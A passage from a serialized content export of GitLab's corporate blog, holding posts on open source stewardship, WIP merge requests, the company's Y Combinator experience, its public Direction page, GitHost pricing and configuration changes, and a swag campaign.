communities\n- open source competence centers\n\nWe could think of the last three types as marked by distributed development. Sometimes they are managed by community-organized foundations or associations but they have no singular point of commercial support. Examples include Apache, Rails and Linux.\n\nThe first type, “single vendor open source projects” is marked by support from a distinct commercial entity which mainly controls the direction and development of the project and financially supports a majority of core developers. Examples of this type of project include Wordpress and Automattic; Hadoop and Cloudera; or Elasticsearch and Elastic.\n\nEvery time you have a company in control of an open source project, people will have questions about how the company will behave. The supporting company must balance the practical needs of running the business, supporting the development, and keeping the lights on. The company has to generate revenue, and the community and software project are reliant on the company to sustain. However, compared to closed-source or proprietary software, being open source ensures that the project can be forked and live even beyond the company.\n\n## For us, open source is an ethos not just a license\n\nOpen Source arose from the Free Software movement. In the late 90s [when the term ‘open source’ was devised](https://en.wikipedia.org/wiki/Open_source#The_emergence_of_the_.22open_source.22_term), it helped to emphasize the fact that the code was viewable or modifiable. The term open source also downplayed the idea that the software was “free as in beer” which denoted poor-quality. At the same time the term laid the groundwork for commercial ventures to support these kinds of projects. Since 1998 open source has become a de-facto standard, a mark of quality, and an assurance against vendor lock-in.\n\nHowever, the term open source has somewhat muted the activist origins of the Free Software movement: “free as in freedom.” At the heart of open source is collaboration, which requires trust and safety. When commercial companies supporting open source projects disregard these ethical issues it will serve to erode trust, which is essential for open source to work.\n\nAny companies who \"open source\" code to gain competitive advantage must address the ethical issues involved. Open Source is more than just a license, it’s also an ethos and commitment. Now, we have encoded our commitment by detailing our policy on being a good steward for the open source project.\n\n## What does it mean to be a good open source steward?\n\nI was hesitant to create a policy until we were sure about the circumstances and context for our project and company. Now that we have a few years of experience, we know better what is required.\n\nFirst, we need to think in the interests of the project, while tending to the realities of running a business to support it. We’ve outlined our commitment by looking at other communities and projects which have struggled with these issues. Typical criticisms of open source companies include:\n\n- Transparent decision making about the direction of the project.\n- Company involvement in or support of open communication channels.\n- Putting the company’s interests before the project.\n\nEach of those aspects must be addressed to ensure the project, code, and community of users are supported.\n\nWe can’t just tend to the needs of the open source project without tending to the commercial requirements. After all, we know that to sustain the project, we need to make it commercially viable.\n\nOur experienced sales team have helped us understand their struggles. Why should the software be completely free no matter who is using it? They ask “Why do I have users who are running with over 10,000 developers and not paying us a dime?” When selling proprietary services salespeople can set artificial limits which give them leverage. They've asked “Can’t we have some limit, such as if you have over 1000 developers that you need the enterprise edition?” This does make sense from a sales point of view, but it doesn’t make sense in the open source context.\n\nOpen source is not a freemium model we can just turn off after 30 days. We can’t say “The first one is free!” It’s all free. Forever.\n\nWe’re not the only ones dealing with these issues. “We’ve played with various mixes of what features go in to which offering, with how to balance our need to thrive as a commercial business with our core belief that Open Source is the future of infrastructure,” [wrote Adam Jacob of Chef](https://www.chef.io/blog/there-is-one-chef-server-and-it-is-open-source/). That was one year ago, and now Chef has come a long way in the stewardship of that project.\n\nNathen Harvey, now VP of Community Development at Chef said \"The intersection of open source and commercial interests raises questions about authority, authenticity, and culture\" in [an article on open governance](http://www.informationweek.com/strategic-cio/it-strategy/three-pillars-of-open-source-governance/a/d-id/1318585). Will commercial interests trump what is best for the project? This is a very important question which each single-vendor open source project needs to consider. Nathen's first principle that \"Transparency is key\" is one we take very seriously.\n\n## What is our policy?\n\nOur beliefs about open source are not only enshrined in our policy, but also in every aspect of how we work. We don't feel any competitive advantage is gained by working in a closed manner. Instead we aim to keep the levels of communication and collaboration with the community of users very high.\n\n- *[Development in the open.](/blog/improving-open-development-for-everyone/)* You can submit issues in a public issue tracker. This is not a read-only interface.\n- *[Business in the open.](/blog/almost-everything-we-do-is-now-open/)* Our company handbook and policies are in the open.\n- *[Clear Direction.](/direction/)* Our Direction document clarifies the current project priorities and what is possible in the upcoming releases.\n\nThis level of transparency is unheard of in proprietary software, rare even in single-vendor open source software, and unusual even among other repository management platforms (open source or not.) In fact, the history of source code management and communities is rife with obfuscation and abuses of trust. For this reason, we feel that having GitLab as a home for safe, open, collaborative development requires being an open source platform itself.\n\nIn our policy, we focused on all of the things we have promised we won’t do. We've addressed the relationship of our CE (Community Edition) and EE (Enterprise Edition), and we've accounted for the requirements of the community by detailing our responsibilities.\n\nWe invite members of the community to read the policy. With this policy published, they will be able to hold us accountable.\n\nPlease read [“Our stewardship of GitLab CE”](/company/stewardship/).\n",{"slug":39032,"featured":6,"template":678},"being-a-good-open-source-steward","content:en-us:blog:being-a-good-open-source-steward.yml","Being A Good Open Source Steward","en-us/blog/being-a-good-open-source-steward.yml","en-us/blog/being-a-good-open-source-steward",{"_path":39038,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39039,"content":39044,"config":39048,"_id":39050,"_type":16,"title":39051,"_source":17,"_file":39052,"_stem":39053,"_extension":20},"/en-us/blog/feature-highlight-wip",{"title":39040,"description":39041,"ogTitle":39040,"ogDescription":39041,"noIndex":6,"ogImage":12013,"ogUrl":39042,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39042,"schema":39043},"Feature Highlight: WIP","At GitLab we'll tell you to make small merge requests, review and merge often. But in the real world, you have to build a complex feature that requires weeks and thousands of changes.","https://about.gitlab.com/blog/feature-highlight-wip","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: WIP\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2016-01-08\",\n      }",{"title":39040,"description":39041,"authors":39045,"heroImage":12013,"date":39046,"body":39047,"category":299},[36660],"2016-01-08","\n\nAt GitLab we'll tell you to make small merge requests, review and merge\noften. But in the real world, you have to build a complex feature that\nrequires weeks and thousands of changes.\n\nHow can you still have all the advantages of code review, without actually\nmerging a half-baked feature? You make it WIP.\n\n\u003C!-- more -->\n\n## WIP First\n\nWIP, short for Work In Progress, is what you prepend to a merge request in\nGitLab, preventing your work from being merged.\nNext time you're working on a big feature, create a merge request after the\nvery first commit and give it a title starting with either `WIP` or `[WIP]`.\n\n![WIP merge request in GitLab 8.3](https://about.gitlab.com/images/8_3/wip.png)\n\nMention your colleague for a first review, while you keep on working.\nYou have all the power of a merge request, including GitLab CI that checks your code\nwhile you work, and no risk of an accidental merge.\n\n## WIP mentality\n\nBy opening a merge request at the earliest chance, you use one of\nopen source's most powerful tools: the opportunity for feedback.\n\nYour colleagues might not be bothered to do a deep review of unfinished code,\nbut even a glance can catch potential mistakes. Having a second set of eyes\nthinking about the problems you're solving always pays off.\n\nI encourage you to extend this mentality to your other work,\nprojects and pushes. Push something out *early* to receive feedback and\nto be steered in the right direction early on.\n\n## At GitLab Inc\n\nAt GitLab we prefer people to push things out quickly. We work with WIP merge\nrequests for complex features, like the [upcoming Elastic Search implementation](https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/109).\n\nMeanwhile, we encourage everyone to make decisions and changes as they think\nis appropriate. By sharing early on, collaboration is almost automatic.\n",{"slug":39049,"featured":6,"template":678},"feature-highlight-wip","content:en-us:blog:feature-highlight-wip.yml","Feature Highlight Wip","en-us/blog/feature-highlight-wip.yml","en-us/blog/feature-highlight-wip",{"_path":39055,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39056,"content":39061,"config":39065,"_id":39067,"_type":16,"title":39068,"_source":17,"_file":39069,"_stem":39070,"_extension":20},"/en-us/blog/our-y-combinator-experience",{"title":39057,"description":39058,"ogTitle":39057,"ogDescription":39058,"noIndex":6,"ogImage":38196,"ogUrl":39059,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39059,"schema":39060},"Our Y Combinator experience","This time last year, from January until March 2015, GitLab participated in the winter 2015 batch of Y Combinator.","https://about.gitlab.com/blog/our-y-combinator-experience","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our Y Combinator experience\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2016-01-06\",\n      }",{"title":39057,"description":39058,"authors":39062,"heroImage":38196,"date":39063,"body":39064,"category":6634},[711],"2016-01-06","\n\nThis time last year, from January until March 2015, GitLab participated in the winter 2015 batch of [Y Combinator](/blog/gitlab-is-part-of-the-y-combinator-family/). We had an awesome time and want to thank the people at Y Combinator, our mentors Qasar and Kevin,\nthe YC alumni and our fellow batch-mates.\n\n\u003C!-- more -->\n\n## A clear focus\n\nWhen you join Y Combinator, you’re put into a batch with a few other startups. This batch includes other founding teams and one or two mentors who are experienced in starting and running new companies. Every week you meet with the same people, discussing the same topics:\n\n- Where are you,\n\n- Where are you getting stuck,\n\n- How can we help you.\n\nThese discussions are very concrete and not theoretical or philosophical. It’s all about what you are doing to get you towards your goal.\nThey have clear targets throughout the program, which will vary from startup to startup,\nsince they are all at different stages when they begin the program.\nCommon metrics are the number of customers, revenue or downloads.\nEach founder or team has a clear aim to focus on one metric.\n\nEverything for the next couple of months is building towards a pitch at the final [Demo Day](https://www.ycombinator.com/demoday/).\nDemo Day is an invite-only event where each of the founding companies pitch to a group of investors.\n\nThis gave our team a clear focus, and with our product getting released every month,\nwe had clear metrics to track against our actions.\nIn our case, we focused on the number of downloads of GitLab.\nThe goal set by our YC mentors was 20% week over week growth. We were\nonly able to increase the downloads by 10%, but the high goal helped us\npush ourselves.\nWe’ve kept that focus on growth and having clear communication\nand messaging since we completed Y Combinator.\n\nA quote from Y Combinator co-founder Paul Graham which is\n[often repeated](http://blog.ycombinator.com/yc-hacks-august-2-3-2014),\nencapsulates the Y Combinator experience: “Our goal is to give smart hackers\nan excuse to get together and spend time building something they find\ninteresting.” For us it was just that: an excuse to work really hard on\nONE thing together for three months with a strong focus.\n\n## An excuse to work really hard - together\n\nWe started in the program at the beginning of 2015 with 9 founding members of GitLab. This group was mostly engineers with two sales people.\n\nY Combinator require that the entire founding team [must live in the Bay Area during the program](https://www.ycombinator.com/faq/#p3).\nY Combinator doesn’t assist with accommodation, so each company finds its own solution.\nThis gives each company a way to forge their own approach and identity.\nIn our case, we brought over our entire team.\nWe all moved over to live in the same house for three months.\nWe found one small apartment with a very small living room.\nWe pushed all of our desks together and worked in that room for three months.\n\n![Our YC livingroom](https://about.gitlab.com/images/yc-livingroom.png)\n\nIt’s clear that the experience wouldn’t be the same without being there in person.\nIt was as much about the access to the local network as it was about building\nrelationships among our team. It was in that house that we started to develop\nour culture. We worked hard and built a strong camaraderie.\nTo get around, we used \"The Boat\", a huge car that would fit the whole team\nand we decorated with the original GitLab logo (the angry raccoon dog!)\n\n![The boat](https://about.gitlab.com/images/blogimages/boat.jpg)\n\nTowards the end of the program, Job had to return to the Netherlands for his\nwedding. A big customer in LA requested us a week before he left to come for\na visit. We jumped in the car started our road trip in the direction of LA.\nAfter many hours of driving, Job started to realize we weren't driving in\nthe correct direction after all...\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/4TnKmrpiSgQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003Cbr>\n\u003Cbr>\n\n![All piled into The Boat](https://about.gitlab.com/images/yc-the-boat.png)\n\nSince Y Combinator we have kept up the same level of drive and focus.\nAs we’ve built our team, we’re working on extending our culture with a concrete focus on next actions; and a focus on clear goals.\nWe also established the [GitLab Summit](/blog/gitlab-summit-2015/)\nso we can have everyone under the same roof working together in person.\n\n## The network effect\n\nThere’s no question that this environment offers the participants huge\nadvantages. You have a sense that everyone in the program is personally\ninvested in your success. Beyond the direct mentorship, biggest benefit of\nhaving participated in Y Combinator is access to the network.\n\nThere’s a lot of experience available to you as a member of Y Combinator. They are very selective, choosing only what they feel are the most high-potential startups. Other founding teams in your batch are working on things that seem hard or impossible, it’s amazing to see what they are developing. They are also a diverse group with different backgrounds and skills. Other founders offer their direct help, without you having to ask for it. For example, they might make referrals and recommendations for key contacts.\nNote that to get into YC you don't need to network. We had zero recommendations\nfrom others when we applied.\n\nThere’s a collegial atmosphere between the participating founders, and among the [YC alumni](https://www.ycombinator.com/atyc/#alumni). They often act as beta\ntesters for one another’s software, or they offer technical help. We asked all\nY Combinator companies in our batch to move to GitLab and we gave them an\nincentive. If some of the founders from other teams wanted to learn about our\nproduct, we invited them in and helped them set up in person.\nIn addition, the peer pressure from the success and enthusiasm from fellow\nfounders made us work harder and try to be better ourselves.\nWe took every opportunity to connect with other founders. The Y Combinator\nalumni from our batch still meet in person in California.\n\nSince Y Combinator we’ve given our investors monthly updates. The update follows a similar structure to those weekly conversations we used to have. We’re clear about our success and status; and we’re also transparent about where we’re blocked and where we need help. This makes it possible for those who are invested in our success to help us.\n\nGetting launched from Y Combinator pushes you ahead with huge momentum. It’s nice to look back at 2015 and consider how far we’ve come. We’re about to hire the 37th person on our team and our sales organization has come a long way. We went from 100k downloads at the end of Y Combinator to 250k downloads in November alone.\n\nWe constantly feel a great sense of gratitude for having been given the opportunity to participate in the program. Thank you to our colleagues and investors from Y Combinator and best wishes to everyone taking part in the next round.\n",{"slug":39066,"featured":6,"template":678},"our-y-combinator-experience","content:en-us:blog:our-y-combinator-experience.yml","Our Y Combinator Experience","en-us/blog/our-y-combinator-experience.yml","en-us/blog/our-y-combinator-experience",{"_path":39072,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39073,"content":39079,"config":39083,"_id":39085,"_type":16,"title":39086,"_source":17,"_file":39087,"_stem":39088,"_extension":20},"/en-us/blog/future-direction-gitlab",{"title":39074,"description":39075,"ogTitle":39074,"ogDescription":39075,"noIndex":6,"ogImage":39076,"ogUrl":39077,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39077,"schema":39078},"How to see into the future at GitLab","In this post we'll look at how you can find out about the direction of the project.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684561/Blog/Hero%20Images/road.png","https://about.gitlab.com/blog/future-direction-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to see into the future at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather McNamee\"}],\n        \"datePublished\": \"2016-01-05\",\n      }",{"title":39074,"description":39075,"authors":39080,"heroImage":39076,"date":39081,"body":39082,"category":299},[38561],"2016-01-05","\n\nHappy new year, it's a fresh start! Are you making any resolutions? Any plans? Wouldn't it be great if you could see into the future? With GitLab, you can. Well, okay, you can see into the future of _development_ at GitLab, if nothing else. The plans and progress of feature proposals are developed in the open at GitLab. In this post we'll look at how you can find out about the direction of the project.\n\n\u003C!-- more -->\n\n## About GitLab’s Direction page\n\nGitLab’s [Direction page](/direction/) page has its own fans.\n\n\u003Cblockquote class=\"twitter-tweet\" lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">\u003Ca href=\"https://twitter.com/hashtag/OpenSource?src=hash\">#OpenSource\u003C/a> at its finest. Thank you \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a>. &#10;\u003Ca href=\"https://t.co/Zkl9Q4gWP0\">https://t.co/Zkl9Q4gWP0\u003C/a>\u003C/p>&mdash; Vasil Sarafov (@v45k0) \u003Ca href=\"https://twitter.com/v45k0/status/677139532215689219\">December 16, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nPeople admire the transparency.\n\n\u003Cblockquote class=\"twitter-tweet\" lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">GitLab keeps impressing me lately. Seems like they get community &amp; transparency in ways others have forgotten-\u003Ca href=\"https://t.co/k8YVLhQCEx\">https://t.co/k8YVLhQCEx\u003C/a>\u003C/p>&mdash; Kelly Watkins (@_kcwatkins) \u003Ca href=\"https://twitter.com/_kcwatkins/status/676917197709680640\">December 16, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nGitLab’s Direction page is managed by the project leads who define the milestones and objectives which are a priority in each release. The developers on the team focus on these priority tasks, after they have addressed any urgent and important tasks such as security vulnerabilities.\n\nDmitriy [gave a detailed overview of the release process](/blog/gitlab-release-process/), which explains where the objectives fit in. On the Directions page, you see an overview of the current plans; and in the [repository itself](https://gitlab.com/gitlab-org/gitlab-ce/issues), you can see the actual objectives being worked on by the developers.\n\nWhat’s so radical about this?\n\nMost product companies do their feature development in secret, carefully protecting their plans. People are not used to this level of transparency in a software product. In closed-source projects, new changes might come in and blindside users. Even in the case of open source projects, suspicions can be raised as to the motivations behind certain features. Was this for a client? Was it right for the project?\n\nMeanwhile, the company managing the project, whether developing an open source product or not, is working hard to gain technical competitive advantage by keeping their development roadmaps a secret.\n\nWe hold no such storehouse of secret plans. It’s all right out there on the [Directions page](/direction/) and [the repository itself](https://gitlab.com/gitlab-org/gitlab-ce/issues).\n\nFor users this has a huge positive effect of allowing them to know what is planned and when they can expect it. For contributors it’s easy for them to see where to spend their effort for maximum effect.\n\nHere are some tips on finding out what is coming next at GitLab.\n\n## How to find out what's coming in future features\n\nIf you want to know what is coming up in future releases, check the [Directions page](/direction/).\n\nSome highlights for upcoming releases include:\n\n- More options for importing, exporting and migrating\n- The capability to search through all repositories on the instance\n- A notification center\n\nHighlighted issues are grouped by the release. Links to CE and EE next to the release numbers (example: 8.4 \u003Ca href=\"https://gitlab.com/gitlab-org/gitlab-ce/milestones/19\">CE\u003C/a>, \u003Ca href=\"https://gitlab.com/gitlab-org/gitlab-ee/milestones/6\">EE\u003C/a>) will take you to the related milestone so you can see all issues related to that release.\n\nThat is a great place to start to see into the future.\n\n## What is the status of a particular issue?\n\nBesides the list on the Direction page, you can see what is coming in future releases right from within GitLab.\n\nIssues that are planned for a specific release are assigned to a milestone, such as 8.5. These assignments are subject to change, however this gives you an idea of priority and plans.\n\n![GitLab issue queue showing milestone](https://about.gitlab.com/images/blogimages/blog-future-releases.jpg)\n\n## What’s being included in the upcoming release?\n\nIf you want to see what has been happening during the development of the next release, look at the CHANGELOG for a particular project, such as [GitLab CE](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CHANGELOG.md).\n\nThe CHANGELOG gets updated throughout the month as new merge requests get merged and new features become available in that release. From a few days before the 22nd, you'll have a more clear idea of what the next release will include.\n\n## Transparency\n\nSome software projects must be private for many legitimate reasons. Of course that is why many of our customers choose GitLab, so they can have full control of their on-premises installations.\n\nFor our project, there is no such requirement. In fact it's more important that GitLab demonstrates transparency in all we do. We do this by improving access to our development and continuing to work in a spirit of openness.\n\nI know I've personally had the experience of sending in feature requests to other projects or services, and I'm left feeling like they are going into a black hole. I want something more than an automated reply.\n\nSince we've moved in [feature proposals into the GitLab issue queue itself](/blog/improving-open-development-for-everyone/), it's easier for you to find out the status of feature proposals. It's also easier to see where the ideas originate all across the board.\n\nFor open source projects, suspicions might be raised about the direction of the project being too swayed by customers. It's a delicate balance we're trying to strike.\n\nEspecially as we navigate making GitLab into a viable, self-sustaining project, it means we do have requests coming from customers using our software. In the GitLab project you will come across issues marked \"[customer](https://gitlab.com/gitlab-org/gitlab-ce/issues?label_name=customer)\" to indicate requests by customers. The identity of the customer is always obscured.\n\nOverall this means it's easier to find out where issues arose from, and later on it is also easier for us to follow up with customers who originated the request.\nPeople are free to comment in the issues to help shape the issue.\nPeople are very welcome to contribute features to ensure everyone has them more quickly.\nWe believe this level of transparency is helpful for users, and also for encouraging contribution and collaboration.\n\n## Conclusion\n\nHopefully you've got a better idea of what is coming up in future releases at GitLab and how you can find out what is coming next. Okay, so it’s not a crystal ball, but we think it's pretty fantastic.\n",{"slug":39084,"featured":6,"template":678},"future-direction-gitlab","content:en-us:blog:future-direction-gitlab.yml","Future Direction Gitlab","en-us/blog/future-direction-gitlab.yml","en-us/blog/future-direction-gitlab",{"_path":39090,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39091,"content":39097,"config":39101,"_id":39103,"_type":16,"title":39104,"_source":17,"_file":39105,"_stem":39106,"_extension":20},"/en-us/blog/changes-to-githost",{"title":39092,"description":39093,"ogTitle":39092,"ogDescription":39093,"noIndex":6,"ogImage":39094,"ogUrl":39095,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39095,"schema":39096},"Big changes coming to GitHost","Today we are announcing two big changes to the GitHost platform and to its plans and pricing.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684552/Blog/Hero%20Images/fireworks.jpg","https://about.gitlab.com/blog/changes-to-githost","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Big changes coming to GitHost\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patricio Cano\"}],\n        \"datePublished\": \"2015-12-30\",\n      }",{"title":39092,"description":39093,"authors":39098,"heroImage":39094,"date":39099,"body":39100,"category":299},[38543],"2015-12-30","\n\nToday we are announcing two big changes to the GitHost platform and to its plans and pricing. The changes are intended\nto offer a better product with greater features and easier to use configuration options, to better reflect the storage\nand memory needs organizations have for a hosted instance of GitLab, and to make it sustainable for us to offer a service\nlike GitHost. Please read on for all the details.\n\n\u003C!-- more -->\n\n## Pricing changes\n\nAs of today, December 30th, 2015, the following changes will take effect:\n\n### New GitHost plans with greater capacity\n\nWe have added three new plans: Business (80GB SSD), Business Pro (160GB SSD), and Corporate (320GB SSD) to provide\norganizations greater storage and memory capacity. We have also replaced two of our smaller plans (Starter and\nDeveloper) with one plan: Developer (30GB SSD) to meet the needs of smaller teams.\n\nWe also still have the Startup plan (60GB SSD) which offers a suitable mid-range for medium-sized teams.\n\n![Plans](https://about.gitlab.com/images/githost/plans.png)\n\nWe wanted to increase the choices available, and to raise the price compared to our older plans in order to make GitHost\nsustainable. We plan on offering this service for a long time to come, and the old prices did not cover our cost to\nkeep the platform running.\n\n**What does this mean if you’re an existing subscriber?**\n\nFor current GitHost subscribers, you will be grandfathered for 2 years on your current plan and price. We also will\nextend a 40% discount off current prices, if you should choose to upgrade your plan at anytime within this 2 year period.\n\nAs of January, 2018 the new pricing for GitHost will apply to existing subscribers.\n\nIf you have questions about the changes or about pricing in general, please [contact us](/sales/).\n\n## New Features\n\n### GitLab Enterprise Edition is now available\n\nWe are making GitLab Enterprise Edition available within GitHost. Organizations needing deeper authentication and\nauthorization integration, fine-grained workflow management, extra server management options, and integration with their\ntool stack can now easily deploy an EE instance in minutes. Use of the Enterprise Edition requires you to have a valid\nlicense. If you would like to purchase GitLab Enterprise Edition, you may do so by going to\n[/pricing/](/pricing/).\n\n![CE & EE](https://about.gitlab.com/images/githost/ce-ee.png)\n\n### Omniauth Providers\n\nWith today's upgrade we are releasing a feature that will allow all users to configure any Omniauth provider supported\nby GitLab in the easiest way possible. Simply click on the icon of the provider you want to activate, fill in the\ndetails required and save your changes. You no longer need to edit the `gitlab.rb` file manually.\n\nAfter editing these details, a reconfigure of your instance will be required. To do this, simply click on the **Reconfigure**\nbutton on your instance view and all the configuration changes you made will be applied.\n\n![Omniauth Provider](https://about.gitlab.com/images/githost/omniauth.png)\n\n### LDAP\n\nEasy LDAP configuration has also been added to GitHost. The configuration is pretty similar to the Omniauth configuration,\nand if you have an Enterprise Edition instance, you can add more than one.\n\nLike with Omniauth, changes will not be automatically applied. You will need to run a manual reconfigure for changes to\ntake effect. This can be done in the main instance view.\n\n![LDAP Server](https://about.gitlab.com/images/githost/ldap.png)\n\n### Redesign\n\nAs you can see from the screenshots above, the overall look and feel of [GitHost.io](https://githost.io) has also been\nimproved, making it cleaner, sleeker and easier on the eyes. All the changes we are announcing today will help us grow,\nimprove our platform and ultimately offer all our customers a better service. Thank you for your continued support!\n",{"slug":39102,"featured":6,"template":678},"changes-to-githost","content:en-us:blog:changes-to-githost.yml","Changes To Githost","en-us/blog/changes-to-githost.yml","en-us/blog/changes-to-githost",{"_path":39108,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39109,"content":39115,"config":39118,"_id":39120,"_type":16,"title":39121,"_source":17,"_file":39122,"_stem":39123,"_extension":20},"/en-us/blog/swag-gitlab-plan",{"title":39110,"description":39111,"ogTitle":39110,"ogDescription":39111,"noIndex":6,"ogImage":39112,"ogUrl":39113,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39113,"schema":39114},"Swag matters - share your #swagportrait","Please let us know about your favourite swag, from stickers to surprises, and don’t forget to share your #swagportrait.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684568/Blog/Hero%20Images/trees-xmas.png","https://about.gitlab.com/blog/swag-gitlab-plan","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Swag matters - share your #swagportrait\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather McNamee\"}],\n        \"datePublished\": \"2015-12-30\",\n      }",{"title":39110,"description":39111,"authors":39116,"heroImage":39112,"date":39099,"body":39117,"category":8943},[38561],"\n\nSome GitLab users who should be celebrating the festive season might be suffering from post-Christmas blues. Maybe you didn’t get everything you wanted for Christmas. We feel partly responsible for that, and we want to make it up to you. \n\nWe’re so happy when people contact us to ask for some swag: a sticker, a t-shirt, anything! Then we feel sad because we don’t have a swag shop and we have no way to get people something to show their appreciation. This is a great problem to have: too much love. \n\nSo now we’re hard at work to get a swag shop set up. If you want to be the absolute first to know about it, sign up below. Bonus: You’ll be entered into a prize draw for a gift. Good luck! \n\nThere's another way to win too.\n\n\u003C!-- more -->\n\n## Please share pics tagged #swagportrait\n\nThe truth is, swag does matter. Even the humble sticker can communicate so much about identity and interest. On OpenSource.com Rikki Endlsey wrote about [Open source sticker culture](https://opensource.com/business/15/11/open-source-stickers#culture). Rikki details how people share their support for and help promote projects and people by using stickers, including more exclusive “earned” stickers showing achievements or events attended.\n\n\u003Cblockquote class=\"twitter-tweet\" lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">It&#39;s harder for me to choose stickers for my laptop than \u003Ca href=\"https://twitter.com/hashtag/JavaScript?src=hash\">#JavaScript\u003C/a> framework. \u003Ca href=\"https://twitter.com/hashtag/DevProblems?src=hash\">#DevProblems\u003C/a> 😂😂😂 \u003Ca href=\"https://t.co/fnN02tHpk0\">pic.twitter.com/fnN02tHpk0\u003C/a>\u003C/p>&mdash; Pablo Villoslada (@Puigcerber) \u003Ca href=\"https://twitter.com/Puigcerber/status/677815759297511424\">December 18, 2015\u003C/a>\u003C/blockquote> \u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nMy friend Kristof Van Tomme, who works within several networks, can demonstrate his affiliations and connections quickly. Something as simple as a sticker can spark the next important conversation he has. \n\n\u003Cblockquote class=\"twitter-tweet\" lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">My current laptop sticker collage \u003Ca href=\"https://twitter.com/nearlythere\">@nearlythere\u003C/a> \u003Ca href=\"https://t.co/pPmX9GFiLf\">pic.twitter.com/pPmX9GFiLf\u003C/a>\u003C/p>&mdash; Kristof Van Tomme (@kvantomme) \u003Ca href=\"https://twitter.com/kvantomme/status/670630306936979457\">November 28, 2015\u003C/a>\u003C/blockquote> \u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nI’m really curious about the great swag you’ve seen. Please share a pic of your laptop as a self portrait on twitter. As another incentive, we’re going to run this until our swag store opens and then we’ll do a draw from all the #swagportrait hashtag entries on anyone who shares on the hashtag. Will you play along? Here’s mine! (Well OK this is my old computer, my new one needs stickers.)\n\n\u003Cblockquote class=\"twitter-tweet\" lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Here&#39;s my \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash\">#swagportrait\u003C/a> on my old laptop. Since then, had a work laptop which is now gone. \u003Ca href=\"https://t.co/Uxlb8tKTKb\">pic.twitter.com/Uxlb8tKTKb\u003C/a>\u003C/p>&mdash; Heather (@nearlythere) \u003Ca href=\"https://twitter.com/nearlythere/status/677821197585940480\">December 18, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n## Let’s talk swag\n\nI think it’s pretty clear we need to have some nice stickers, with designs for events and as rewards. But we want to develop some other ideas. What we want to avoid is “bad swag”. Bad swag might be poor quality and wasteful swag. \n\nWe can promise that we will never make a comedy unibrow mug.\n\n\u003Cblockquote class=\"twitter-tweet\" lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Looking forward to the \u003Ca href=\"https://twitter.com/webawards\">@webawards\u003C/a> next week &amp; giving away some \u003Ca href=\"https://twitter.com/hashtag/badswag?src=hash\">#badswag\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/realexwebs15?src=hash\">#realexwebs15\u003C/a> \u003Ca href=\"http://t.co/tKo4IUpLkw\">pic.twitter.com/tKo4IUpLkw\u003C/a>\u003C/p>&mdash; Martin O&#39;Leary (@Martinoleary) \u003Ca href=\"https://twitter.com/Martinoleary/status/651760858524164096\">October 7, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nRealex Payments’ [“Bad Swag” campaign](https://www.realexpayments.com/bad-swag) made a point in saying that some companies consider “developer relations” to be about making swag, forgetting that swag is just a symbol of a relationship with developers, not the relationship itself. \n\nAt GitLab, we don’t want to focus only on building tools for developers that we forget to support the community and help them connect.  So let’s talk about **good swag**. What is some good swag you've seen? \n\nAmong [other great swag ideas](http://blog.hubspot.com/blog/tabid/6307/bid/33361/Event-Swag-Your-Attendees-Will-Love-and-Loathe.aspx), Hubspot lists “Unique Food Items” as great swag. We did stroopwafels for OSCON in Amsterdam. Everyone loves a good stroopwafel! \n\n\u003Cblockquote class=\"twitter-tweet\" lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">I&#39;m a winner and so is \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> - thanks folks! \u003Ca 